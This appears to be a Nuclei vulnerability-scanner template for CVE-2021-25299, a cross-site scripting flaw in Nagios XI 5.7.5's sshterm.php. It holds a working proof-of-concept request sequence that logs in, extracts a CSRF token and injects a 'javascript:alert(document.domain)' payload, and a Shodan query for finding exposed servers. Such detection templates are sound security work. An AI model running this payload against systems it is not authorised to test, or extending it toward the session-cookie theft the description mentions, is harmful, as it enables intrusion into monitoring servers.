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id : CVE-2021-25299
info :
name : Nagios XI 5.7.5 - Cross-Site Scripting
author : ritikchaddha
severity : medium
description : |
Nagios XI version xi-5.7.5 is affected by cross-site scripting (XSS). The vulnerability exists in the file /usr/local/nagiosxi/html/admin/sshterm.php due to improper sanitization of user-controlled input. A maliciously crafted URL, when clicked by an admin user, can be used to steal his/her session cookies or it can be chained with the previous bugs to get one-click remote command execution (RCE) on the Nagios XI server.
reference :
- https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md#cve-2021-25299
- https://nvd.nist.gov/vuln/detail/CVE-2021-25299
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- http://nagios.com
- https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
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cve-id : CVE-2021-25299
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cwe-id : CWE-79
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metadata :
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shodan-query : title:"Nagios XI"
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verified : "true"
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tags : cve,cve2021,nagios,nagiosxi,xss,authenticated
requests :
- raw :
- |
GET /nagiosxi/login.php HTTP/1.1
Host : {{Hostname}}
- |
POST /nagiosxi/login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
nsp={{nsp}}&page=auth&debug=&pageopt=login&username={{username}}&password={{password}}&loginButton=
- |
GET /nagiosxi/admin/sshterm.php?url=javascript:alert(document.domain) HTTP/1.1
Host : {{Hostname}}
cookie-reuse : true
matchers :
- type : dsl
dsl :
- "contains(all_headers_3, 'text/html')"
- "status_code_3 == 200"
- 'contains(body_3, "iframe src=\"javascript:alert(document.domain)") && contains(body_3, "SSH Terminal")'
condition : and
extractors :
- type : regex
name : nsp
part : body
group : 1
regex :
- 'name="nsp" value="(.*)">'
internal : true
